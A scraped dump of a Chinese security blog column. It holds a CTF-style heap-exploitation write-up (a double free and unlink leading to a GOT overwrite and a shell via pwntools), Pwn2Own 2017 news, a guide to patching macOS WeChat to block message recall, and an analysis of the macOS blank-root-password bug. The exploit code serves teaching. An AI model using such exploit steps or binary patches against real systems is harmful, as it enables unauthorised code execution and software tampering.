\u002F\u002F即 p = &p - 3\u003C\u002Fcode\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E在二进制可执行文件的层次不存在结构体的概念,只有一段连续的内存,通过偏移量来访问。所以我们可以布置伪造的 chunk,将我们提供的指针被解释为 BK 和 FD,最终实现 p = &p - 3,如果还有不懂的可以查找 unlink 有关资料进一步学习。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E接下来是最有意思的部分—— free 伪造堆块实现任意位置读写。堆布局的方法比较灵活,只要能成功利用怎么玩都可以。我的思路是这样的:\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Col\u003E\u003Cli\u003E添加 note0,size 为 0x90,用户数据大小为 0x80,内容是一个伪造的 chunk:size
note0 大小 + note1 size == 0x80 + 0x90 ==
0x110\u003C\u002Fli\u003E\u003Cli\u003E添加更大的 note1,包含多个伪造的 chunk,覆盖了原 note2 的地址,也就是将 double free 的地址。\u003C\u002Fli\u003E\u003C\u002Fol\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E实现如下:\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ccode lang=\&python3\&\u003Enewnote(p64(0) + p64(0x110 + 1) + p64(heap_base + 0x18)+p64(heap_base + 0x20))\nnewnote(\&a\& * 0x80 + p64(0x110) + p64(0x90) + \&a\& * 0x80 + p64(0) + p64(0x91) + \&a\& * 0x80) \ndelnote(2)\u003C\u002Fcode\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E经过调试你会发现这个时候就实现了 p = &p - 3,也就是原来储存 note0 地址的地方变了,现在修改 note0 的用户数据就是修改 note0 的地址,之后再编辑 note0 就是改变这个地址的内容。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E0x03 覆盖 GOT\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E因为这个程序的 got 是可写的,所以在实现任意写之后可以将 free@got 覆写成 system() 地址:\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ccode lang=\&python3\&\u003Eelf = ELF('freenote')\noff_system=libc.symbols['system']\noff_free=libc.symbols['free']\nfree_got=elf.got['free']\neditnote(0, p64(100) + p64(1) + p64(8) + p64(free_got))\ns = getnote(0)\nfree_addr = u64((s.ljust(8, \&\\x00\&))[:8])\nlibc_addr = free_addr - off_free\nsystem_addr = libc_addr + off_system\nprint \&system is at %s\& % hex(system_addr)\neditnote(0, p64(system_addr))\u003C\u002Fcode\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E现在调用 free() 就是调用 system() :\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ccode lang=\&text\&\u003Enewnote(\&\u002Fbin\u002Fsh\\x00\&)\ndelnote(2)\np.interactive()\u003C\u002Fcode\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&676\& src=\&v2-ef75db0e6e4c7b75fad8.jpg\& data-rawwidth=\&1348\&\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E综上,将一个指针释放两次确实是非常危险的行为,它可以造成任意代码执行。希望广大开发者和想从事安全行业的新手们可以从中得到一点点启发。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E0x04 完整 EXP\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E链接:\u003Ca href=\&http:\u002F\u002Fpan.baidu.com\u002Fs\u002F1jIotmGQ\&\u003Ehttp:\u002F\u002Fpan.baidu.com\u002Fs\u002F1jIotmGQ\u003C\u002Fa\u003E
密码:pdvw\u003C\u002Fp\u003E&,&updated&:new Date(&T10:10:40.000Z&),&canComment&:false,&commentPermission&:&review&,&commentCount&:20,&likeCount&:190,&state&:&published&,&isLiked&:false,&slug&:&&,&isTitleImageFullScreen&:true,&rating&:&none&,&sourceUrl&:&&,&publishedTime&:&T18:10:40+08:00&,&links&:{&comments&:&\u002Fapi\u002Fposts\u002F2Fcomments&},&url&:&\u002Fp\u002F&,&titleImage&:&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-f7b06da0fd4f_r.jpg&,&summary&:&&,&href&:&\u002Fapi\u002Fposts\u002F&,&meta&:{&previous&:null,&next&:null},&snapshotUrl&:&&,&commentsCount&:20,&likesCount&:190},&&:{&title&:&大战在即:世界黑客大赛(MP2O)开赛&,&author&:&mrsk&,&content&:&\u003Cp\u003E明天,全球黑客\u002F安全厂商都在关注的 Mobile Pwn2Own 比赛就要在日本东京开赛了。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003EMobile Pwn2Own 是针对移动平台的竞赛。针对桌面操作系统的 Pwn2Own 在今年 3 月份在 CanSecWest 举行,与桌面端不同的是,移动端的比赛鼓励通过 hack 各种通信渠道的最新技术来完成漏洞利用。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E同时,令人注意的一点是,除了以往的三星、苹果、谷歌的产品之外,此次比赛新增了华为 Mate9 Pro 作为攻击目标:\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&238\& src=\&v2-8dd3fb452b261f6eba3ae.jpg\& data-rawwidth=\&660\&\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E这个比赛的影响是多方面的。不仅可以提升参赛方在国际安全行业内的声誉,也可以使主办方收获一大批 0day,以下是这次比赛的价目表,并且还有额外的 Kernel Bonus(获内核权限,2万美金,加3分)和 Persistence Bonus(可重启设备,4-5万美金,加3分)。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&894\& src=\&v2-4f1a2ad27b8f9ff9638ffe91e18bfe66.jpg\& data-rawwidth=\&1558\&\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E在中国,各大互联网\u002F安全公司每年都是参赛的积极分子,在今年 3 月的桌面平台比赛中,奇虎 360 公司获得 Master of Pwn 称号,也就是最终的冠军。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E但这并非成王败寇的战场,每一个能参加世界黑客大赛的安全研究员都是黑客中的佼佼者,不仅具有过人的天赋、学识,更对安全有着精益求精的态度,这使得他们得以在复杂的操作系统中完成一次次如同艺术一般的漏洞利用,推动着尖端领域技术的进步。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E世界黑客大赛每年都在广泛的领域内引起了人们对安全的关注。对非技术从业者来说,安全在不断地走入他们的生活。对企业安全而言,安全研究是不可或缺的一环,并且是一个动态持续的过程,需要在技术的不断更迭中完善攻防技术;对安全行业个人而言,关注并学习行业顶尖选手所研究的技术,对自己的学习和职业生涯也有不小的启发。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E安全大事件将持续关注此次比赛的进展。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003Eref:\u003C\u002Fp\u003E\u003Cp\u003E\u003Ca href=\&https:\u002F\u002Fwww.thezdi.com\u002Fblog\u002F\u002F24\u002Fmobile-pwn2own-2017-returns-to-tokyo\&\u003EMobile Pwn2Own(TM) 2017 Returns to Tokyo\u003C\u002Fa\u003E\u003C\u002Fp\u003E&,&updated&:new Date(&T15:07:36.000Z&),&canComment&:false,&commentPermission&:&review&,&commentCount&:23,&likeCount&:64,&state&:&published&,&isLiked&:false,&slug&:&&,&isTitleImageFullScreen&:true,&rating&:&none&,&sourceUrl&:&&,&publishedTime&:&T23:07:36+08:00&,&links&:{&comments&:&\u002Fapi\u002Fposts\u002F2Fcomments&},&url&:&\u002Fp\u002F&,&titleImage&:&https:\u002F\u002Fpic3.zhimg.com\u002Fv2-54006dfd46446cbd4762cdcb3195aefe_r.jpg&,&summary&:&&,&href&:&\u002Fapi\u002Fposts\u002F&,&meta&:{&previous&:null,&next&:null},&snapshotUrl&:&&,&commentsCount&:23,&likesCount&:64},&&:{&title&:&世界黑客大赛(MP2O) Day 1&,&author&:&mrsk&,&content&:&*题图来自必应\u003Cimg data-rawheight=\&894\& src=\&v2-4f1a2ad27b8f9ff9638ffe91e18bfe66.jpg\& data-rawwidth=\&1558\&\u003E\u003Cp\u003E在今天上午开始的世界黑客大赛(MP2O)中,腾讯科恩实验室挑战 Samsung Galaxy S8 浏览器失败,但这个项目被 360 团队成功攻破,并获得额外奖金,共 7w 美金,加 11 分; 科恩实验室挑战 Huawei Mate9 Pro NFC 项目失败,但是通过 WiFi 漏洞成功攻破 iPhone 7,加上额外的奖金,获得 11w 美金,加 11 分。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E下午,科恩实验室攻破 Apple Safari,获得 4.5w 美金,加 13 分;并且破解 Huawei Mate9\u003Cbr\u003EPro 基带,预计将获得 10w 美金,加 20 分。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E在今天,360 安全团队完成了 1 个项目,腾讯科恩实验室共完成 3 个,都取得了十分优异的成绩。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg data-rawheight=\&720\& src=\&v2-0cdbca09483b83.jpg\& data-rawwidth=\&1280\&\u003E\u003C\u002Fp\u003E\u003Cbr\u003E\u003Cbr\u003E\u003Cp\u003E比赛虽然技术含量很高,但奖金似乎并没有那么高。可能这也是国外安全研究员不太积极参与 P2O 的原因之一吧。\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&346\& src=\&v2-467b0c29a85a18aece7a.jpg\& data-rawwidth=\&589\&\u003E\u003Cp\u003E比赛还将持续一天,让我们拭目以待。\u003C\u002Fp\u003E&,&updated&:new Date(&T10:11:25.000Z&),&canComment&:false,&commentPermission&:&review&,&commentCount&:43,&likeCount&:294,&state&:&published&,&isLiked&:false,&slug&:&&,&isTitleImageFullScreen&:true,&rating&:&none&,&sourceUrl&:&&,&publishedTime&:&T18:11:25+08:00&,&links&:{&comments&:&\u002Fapi\u002Fposts\u002F2Fcomments&},&url&:&\u002Fp\u002F&,&titleImage&:&https:\u002F\u002Fpic2.zhimg.com\u002Fv2-2c2f2ca854ec5ca937625a_r.jpg&,&summary&:&&,&href&:&\u002Fapi\u002Fposts\u002F&,&meta&:{&previous&:null,&next&:null},&snapshotUrl&:&&,&commentsCount&:43,&likesCount&:294},&&:{&title&:&花落谁家?世界黑客大赛冠军揭晓!&,&author&:&mrsk&,&content&:&\u003Cp\u003E*题图来自必应\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E大家好,昨天安全大事件报道了 MP2O 第一日赛况:\u003Ca href=\&https:\u002F\u002Fzhuanlan.zhihu.com\u002Fp\u002F\&\u003E世界黑客大赛(MP2O) Day 1\u003C\u002Fa\u003E 而今天是比赛的第二天也是最后一天,将诞生最后的冠军 Master of Pwn.\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E经过昨天,笔者发现观众们对比赛的热情比我想象的要高,大家很好奇黑客竞赛到底是在比什么?率先攻破意味着更有技术含量吗?所谓的破解到底是怎么回事?为什么我说一个项目奖金几万美金太少?\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E在报道最后的比赛结果之前,我先科普几点重要概念 :\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cb\u003E一、比赛现场,选手到底干了什么?\u003C\u002Fb\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E破解并非在现场完成,赛场仅演示漏洞利用。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E在 MP2O 比赛中,破解一个项目需要有攻击目标的未披露漏洞(0day)和漏洞利用程序(exploitation,简称 exp),选手们在平时挖掘会花很多时间和精力挖掘漏洞,完成利用,而比赛过程则是运行该 exp——所以 x 秒攻破目标是一种误导性的宣传 。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E一秒攻破是假的,但这仍然是了不起的研究成果。安全不是一时投机取巧,而是实打实的持久战,对于系统安全,必需要长期研究才能持续产出,只有具有持续产出的黑客才能称得上是大牛;\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cb\u003E二、为什么有的队伍能率先攻破?\u003C\u002Fb\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E如果多个队伍参与同一项目,则比赛顺序由抽签决定。先后和技术含量无关,如果后上场的选手撞了前面选手的漏洞,则不得分,很明显这并不代表后面选手就技术差 。 这次腾讯科恩实验室在所有项目中都排在最前面,这个概率应该不到 5%,可谓是天时地利人和;\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cb\u003E三、漏洞奖金到底高不高?\u003C\u002Fb\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E漏洞的价值由其商业价值决定。下图是 Zerodium 收购漏洞的价格,放这个图不是为了鼓励大家向他们卖漏洞, 而是说明这些洞真正的价值比这个价格还要高很多。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&1486\& src=\&v2-c88eb149fc5e3bb87dc94c9939365fad.jpg\& data-rawwidth=\&2010\&\u003E\u003Cp\u003E下图是比赛奖金设置:\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&1044\& src=\&v2-51ffcac12460.jpg\& data-rawwidth=\&1208\&\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E白帽子原本可以换一种渠道处理劳动成果(黑产),从而赚更多钱,但是他们选择不这么做,而是把辛辛苦苦挖到的洞提交给厂商,还要老老实实被老板管着 。人都是见钱眼开的,能做到这点不容易。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E不过我顺便调查个问题,你们觉得往 ZDI 卖漏洞算白帽子吗?\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E好了。回到正题,下面是关键环节:在今天的比赛中,360 团队两连攻破 iPhone 7,来自英国的 MWR Labs 攻破三星 Galaxy Note 8 和华为 Mate9 Pro 的浏览器项目。\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&1080\& src=\&v2-26eb2b0fea0f61dfffb2e.jpg\& data-rawwidth=\&1620\&\u003E\u003Cp\u003E
(上图拍摄自 360 战地记者杨卿)\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&720\& src=\&v2-f673c6a79b5b9c78b751883.jpg\& data-rawwidth=\&1280\&\u003E\u003Cimg data-rawheight=\&720\& src=\&v2-6fb1f4a0be14a42cc0e722f04b8942b8.jpg\& data-rawwidth=\&1280\&\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E最终,根据比赛规则,腾讯科恩实验室以 44 分获得 Master of Pwn 称号!(这可能是我几个月写过这么多文章以来第一个感叹号)向所有参赛的选手致敬——毕竟网络世界因为你们的存在而更加安全。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&1632\& src=\&v2-d9fd305cdd0.jpg\& data-rawwidth=\&1602\&\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003Eref:\u003C\u002Fp\u003E\u003Cp\u003E\u003Ca href=\&https:\u002F\u002Ftwitter.com\u002Fthezdi?lang=zh-cn\&\u003Ehttps:\u002F\u002Ftwitter.com\u002Fthezdi?lang=zh-cn\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Ca href=\&https:\u002F\u002Fwww.zerodium.com\u002Fprogram.html\&\u003EHow to Sell Your 0day Exploit to ZERODIUM\u003C\u002Fa\u003E\u003C\u002Fp\u003E&,&updated&:new Date(&T09:26:06.000Z&),&canComment&:false,&commentPermission&:&review&,&commentCount&:12,&likeCount&:121,&state&:&published&,&isLiked&:false,&slug&:&&,&isTitleImageFullScreen&:true,&rating&:&none&,&sourceUrl&:&&,&publishedTime&:&T17:26:06+08:00&,&links&:{&comments&:&\u002Fapi\u002Fposts\u002F2Fcomments&},&url&:&\u002Fp\u002F&,&titleImage&:&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-45e3558fd7eadba920af4eb2c27e414c_r.jpg&,&summary&:&&,&href&:&\u002Fapi\u002Fposts\u002F&,&meta&:{&previous&:null,&next&:null},&snapshotUrl&:&&,&commentsCount&:12,&likesCount&:121},&&:{&title&:&防消息撤回: 0 基础破解微信&,&author&:&mrsk&,&content&:&\u003Cblockquote\u003E题图:\u003Ca href=\&https:\u002F\u002Fazeria-labs.com\u002Fdownloads\u002Fcheatsheetv1-.png\&\u003Ehttps:\u002F\u002Fazeria-labs.com\u002Fdownloads\u002Fcheatsheetv1-.png\u003C\u002Fa\u003E\u003Cbr\u003E作者:murasaki; \u003Ca class=\&member_mention\& href=\&https:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002Ff4bbcf2d2a35e92c5c5d22b\& data-hash=\&f4bbcf2d2a35e92c5c5d22b\& data-hovercard=\&p$b$f4bbcf2d2a35e92c5c5d22b\&\u003E@elknot\u003C\u002Fa\u003E 对本文亦有贡献。\u003C\u002Fblockquote\u003E\u003Ch2\u003E\u003Cb\u003E0x00\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E之所以有这篇文章,是因为随手改软件的时候想到可能有非安全专业但是想要防撤回的同学用得着这个方法。目标程序是 macOS 的微信 APP,没有什么技术含量,懂逆向的大神请自行跳过,不懂的可以往下看。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E0x01\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E需要的工具如下图: (macOS only)\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&316\& src=\&v2-bfcc74ca243d5ba711e30.jpg\& data-rawwidth=\&412\&\u003E\u003Cp\u003E请自行在网上下载工具~用它打开下图文件:\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&1242\& src=\&v2-b5b1f9ba5fccbcea4ec34.jpg\& data-caption=\&\u002FApplications\u002FWeChat.app\u002FContents\u002FMacOS\u002FWeChat\& data-rawwidth=\&1824\&\u003E\u003Cimg data-rawheight=\&348\& src=\&v2-55e443d29bb.jpg\& data-caption=\&搜索相关函数\& data-rawwidth=\&584\&\u003E\u003Cimg data-rawheight=\&1160\& src=\&v2-d00c34f75dde1de65f3d78a.jpg\& data-caption=\&修改汇编代码\& data-rawwidth=\&610\&\u003E\u003Cimg data-rawheight=\&588\& src=\&v2-d819d0ba4506ddf6619f6a.jpg\& data-caption=\&ret 掉这个函数\& data-rawwidth=\&1218\&\u003E\u003Ch2\u003E\u003Cb\u003E0x02\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E将修改后的 binary 替换到原来的相应目录,也就是 \u002FApplications\u002FWeChat.app\u002FContents\u002FMacOS\u002FWeChat\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&600\& src=\&v2-86e3ebcc1aecea764a68423.jpg\& data-rawwidth=\&698\&\u003E\u003Cp\u003E在这个过程中 Hopper 可以自动去除 APP 签名。\u003C\u002Fp\u003E\u003Cp\u003E重启微信,你就会发现撤回消息无效了。\u003C\u002Fp\u003E\u003Cp\u003E*改完之后记住不要更新...\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E欢迎关注我们的公众号:SKE安全大事件\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg data-rawwidth=\&750\& data-rawheight=\&369\& src=\&v2-ca4a766ca32d8c2f2dd5c55e937d459b.jpg\&\u003E\u003C\u002Fp\u003E&,&updated&:new Date(&T11:38:31.000Z&),&canComment&:false,&commentPermission&:&review&,&commentCount&:64,&likeCount&:311,&state&:&published&,&isLiked&:false,&slug&:&&,&isTitleImageFullScreen&:true,&rating&:&none&,&sourceUrl&:&&,&publishedTime&:&T19:38:31+08:00&,&links&:{&comments&:&\u002Fapi\u002Fposts\u002F2Fcomments&},&url&:&\u002Fp\u002F&,&titleImage&:&https:\u002F\u002Fpic3.zhimg.com\u002Fv2-a0adccfcd0699efbcfbb7_r.jpg&,&summary&:&&,&href&:&\u002Fapi\u002Fposts\u002F&,&meta&:{&previous&:null,&next&:null},&snapshotUrl&:&&,&commentsCount&:64,&likesCount&:311},&&:{&title&:&为什么空密码可以登录你的 Mac?&,&author&:&mrsk&,&content&:&\u003Ch2\u003E\u003Cb\u003E0x00\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E就在今天, macOS 被爆出一个重大缺陷: 任何人都可以使用管理员账户登陆, 用户名为 root, 密码可为空. 最早发现并公布复现过程的是 Lemi Orhan Ergin (@lemiorhan):\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&281\& src=\&v2-613bd156f4b35d1c8bcd472460ceda1d.jpg\& data-size=\&normal\& data-rawwidth=\&622\&\u003E\u003Cp\u003E那么, 令人十分好奇的是, 这个问题是因为什么样的 bug 才导致的呢?\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E0x01\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E首先, 我们观察一下到底发生了什么. 当用户\u002F攻击者尝试登陆一个在当前\u003Cb\u003E没有\u003C\u002Fb\u003E被启用的账户的时候, 系统将会创建一个新账户使用用户指定的任意内容作为密码, 包括空密码, 这就是为什么在 UI 触发时需要点击两次:\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&525\& src=\&v2-e064b5bf9f16f1c64e650.jpg\& data-size=\&normal\& data-rawwidth=\&612\&\u003E\u003Cp\u003E更深一点来看, 当用户尝试授给某个被 \u003Ci\u003Eopendirectoryd\u003C\u002Fi\u003E handled 账户的时候:\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ccode lang=\&text\&\u003E* frame #0: 0x2acf opendirectoryd`od_verify_crypt_password + 453\nframe #1: 0x7491 PlistFile`___lldb_unnamed_symbol26$$PlistFile + 550\nframe #2: 0xe5a9 PlistFile`odm_RecordVerifyPassword + 158\nframe #3: 0xeb40c opendirectoryd`___lldb_unnamed_symbol37$$opendirectoryd + 930\nframe #4: 0x44a5 opendirectoryd`___lldb_unnamed_symbol313$$opendirectoryd + 56\u003C\u002Fcode\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E一旦收到 mach XPC message, \u003Ci\u003Eopendirectoryd \u003C\u002Fi\u003E调用 \u003Ci\u003Eodm_RecordVerifyPassword \u003C\u002Fi\u003E方法, 这个方法之后调用了 \u003Ci\u003Eod_verify_crypt_password. odm_RecordVerifyPassword \u003C\u002Fi\u003E方法在 \u003Ci\u003EPlistFile \u003C\u002Fi\u003Ebinary 中被执行. 这个 bundle 从 \u002FSystem\u002FLibrary\u002FOpenDirectory\u002FModules\u002FPlistFile.bundle 加载到 \u003Ci\u003Eopendirectoryd\u003C\u002Fi\u003E.\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Ci\u003Eodm_RecordVerifyPassword\u003C\u002Fi\u003E 调用了一个未命名的方法 '\u003Ci\u003Esub_826b\u003C\u002Fi\u003E'. 这个 subroutine 首先调用了另外一个 helper function, '\u003Ci\u003Esub_826b\u003C\u002Fi\u003E', 来读取 shadowhash(从用户尝试登陆的账户中). 对于一个已经存在的账户来说, 这并不成问题.\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&454\& src=\&v2-6f406b65ff52db6a57a160e.jpg\& data-size=\&normal\& data-rawwidth=\&908\&\u003E\u003Cp\u003E但是对于没有启用的账户来说, 这些信息并没有被提供, 所以这个函数会 fail. 这是很关键的一点.\u003C\u002Fp\u003E\u003Ccode lang=\&text\&\u003E$ dscl . -read \u002FUsers\u002Froot\nAppleMetaNodeLocation: \u002FLocal\u002FDefault\nGeneratedUID: FFFFEEEE-DDDD-CCCC-BBBB-AAAA\nNFSHomeDirectory: \u002Fvar\u002Froot\nPassword: *\nPrimaryGroupID: 0\nRealName:\nSystem Administrator\nRecordName:\nroot\nBUILTIN\\Local System\nRecordType: dsRecTypeStandard:Users\nSMBSID: S-1-5-18\nUniqueID: 0\nUserShell: \u002Fbin\u002Fsh\u003C\u002Fcode\u003E\u003Cp\u003E当 shadowhash 不存在的时候, 一个 'else' 代码分支被执行了:\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&328\& src=\&v2-cec9bfcca63209ecc659.jpg\& data-size=\&normal\& data-rawwidth=\&829\&\u003E\u003Cp\u003E在读取密码之后,它调用了 \u003Ci\u003Eod_verify_crypt_password\u003C\u002Fi\u003E 来验证密码是否匹配. 在这里我们输入了 '\u003Ci\u003Ehunter2\u003C\u002Fi\u003E'.\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&429\& src=\&v2-6e93c91acbeea20d87cc202d.jpg\& data-size=\&normal\& data-rawwidth=\&824\&\u003E\u003Cp\u003E如果我们 step over 这个调用, 它将返回 al 的值也就是 01...是不是很有趣!\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&268\& src=\&v2-bbcee100ebcdf.jpg\& data-size=\&normal\& data-rawwidth=\&721\&\u003E\u003Cp\u003E鉴于一个非零的值被返回了, 它讲继续调用其他方法比如 '\u003Ci\u003Esub_13d00\u003C\u002Fi\u003E'. 这将带来一个重要的影响: 将用户输入的数据作为 shadowhash\u002Fsecuretoken:\u003C\u002Fp\u003E\u003Cimg data-rawheight=\&158\& src=\&v2-eb99b4bed7c1.jpg\& data-size=\&normal\& data-rawwidth=\&684\&\u003E\u003Cp\u003E\u003Cb\u003E我们输入的任意 password 就这么变成了 root password.\u003C\u002Fb\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E0x02\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E总结一下:\u003C\u002Fp\u003E\u003Col\u003E\u003Cli\u003E在未启用的账户(例如 root)中, macOS 将指定用户输入密码作为账户密码;\u003C\u002Fli\u003E\u003Cli\u003E在这个过程中, \u003Ci\u003Eod_verify_crypt_password\u003C\u002Fi\u003E 返回非零值;\u003C\u002Fli\u003E\u003Cli\u003E之后, 用户输入变成账户密码;\u003C\u002Fli\u003E\u003C\u002Fol\u003E\u003Cp\u003E很明显, 关键问题就出在了 \u003Ci\u003Eod_verify_crypt_password\u003C\u002Fi\u003E. \u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E原文地址: \u003Ca href=\&https:\u002F\u002Fobjective-see.com\u002Fblog\u002Fblog_0x24.html\&\u003EWhy &blank& Gets You Root\u003C\u002Fa\u003E\u003C\u002Fp\u003E\u003Cp\u003E欢迎关注我们的公众号:SKE安全大事件\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg data-rawwidth=\&750\& data-rawheight=\&369\& src=\&v2-ca4a766ca32d8c2f2dd5c55e937d459b.jpg\&\u003E\u003C\u002Fp\u003E&,&updated&:new Date(&T16:49:10.000Z&),&canComment&:false,&commentPermission&:&review&,&commentCount&:74,&likeCount&:1118,&state&:&published&,&isLiked&:false,&slug&:&&,&isTitleImageFullScreen&:true,&rating&:&none&,&sourceUrl&:&&,&publishedTime&:&T00:49:10+08:00&,&links&:{&comments&:&\u002Fapi\u002Fposts\u002F2Fcomments&},&url&:&\u002Fp\u002F&,&titleImage&:&https:\u002F\u002Fpic4.zhimg.com\u002Fv2-33bd5b41a62b9b0a8b0dfbb2eb15aba1_r.jpg&,&summary&:&&,&href&:&\u002Fapi\u002Fposts\u002F&,&meta&:{&previous&:null,&next&:null},&snapshotUrl&:&&,&commentsCount&:74,&likesCount&:1118},&&:{&title&:&安全大事件团队招募小伙伴啦!&,&author&:&mrsk&,&content&:&\u003Ch2\u003E\u003Cb\u003E0x00 简介\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E安全大事件专栏创立一年有余, 